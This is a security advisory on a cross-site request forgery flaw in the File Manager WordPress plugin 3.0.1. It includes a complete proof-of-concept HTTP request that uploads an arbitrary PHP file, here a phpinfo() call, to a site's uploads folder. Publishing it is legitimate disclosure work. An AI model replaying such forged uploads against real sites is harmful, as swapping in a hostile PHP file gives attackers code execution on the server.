WordPress File Manager 3.0.1 Cross Site Request Forgery
Posted on 03 March 2017
------------------------------------------------------------------------ Cross-Site Request Forgery in File Manager WordPress plugin ------------------------------------------------------------------------ David Vaartjes, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Request Forgery (CSRF) vulnerability was found in the File Manager WordPress Plugin. Among others, this issue can be used to upload arbitrary PHP files to the server. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160712-0029 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was succesfully tested on the File Manager WordPress Plugin version 3.0.1. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ There is currently no fix available. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_file_manager_wordpress_plugin.html The upload form used by the plugin has no protection against CSRF attacks. As a result an attacker can for example upload arbitrary PHP files to the server. Please note that the target user needs to be logged in. Proof of concept The target parameter holds a Base64-encoded destination path. By using the proof of concept request below a file named info.php is uploaded to the /wp-content/uploads/file-manager/ directory. When uploaded, this file can be requested from the outside as follows: http://<wp-server>/wp-content/uploads/file-manager/info.php Request: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: <wp-server> Cookie: ALL_YOUR_WP_COOKIES Connection: close Content-Type: multipart/form-data; boundary=---------------------------6427194103423794601262893907 -----------------------------6427194103423794601262893907 Content-Disposition: form-data; name="cmd" upload -----------------------------6427194103423794601262893907 Content-Disposition: form-data; name="target" l1_d3AtY29udGVudC91cGxvYWRzL2ZpbGUtbWFuYWdlcg -----------------------------6427194103423794601262893907 Content-Disposition: form-data; name="suffix" ~ -----------------------------6427194103423794601262893907 Content-Disposition: form-data; name="action" connector -----------------------------6427194103423794601262893907 Content-Disposition: form-data; name="upload[]"; filename="info.php" Content-Type: text/php <?php phpinfo(); ?> -----------------------------6427194103423794601262893907-- ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
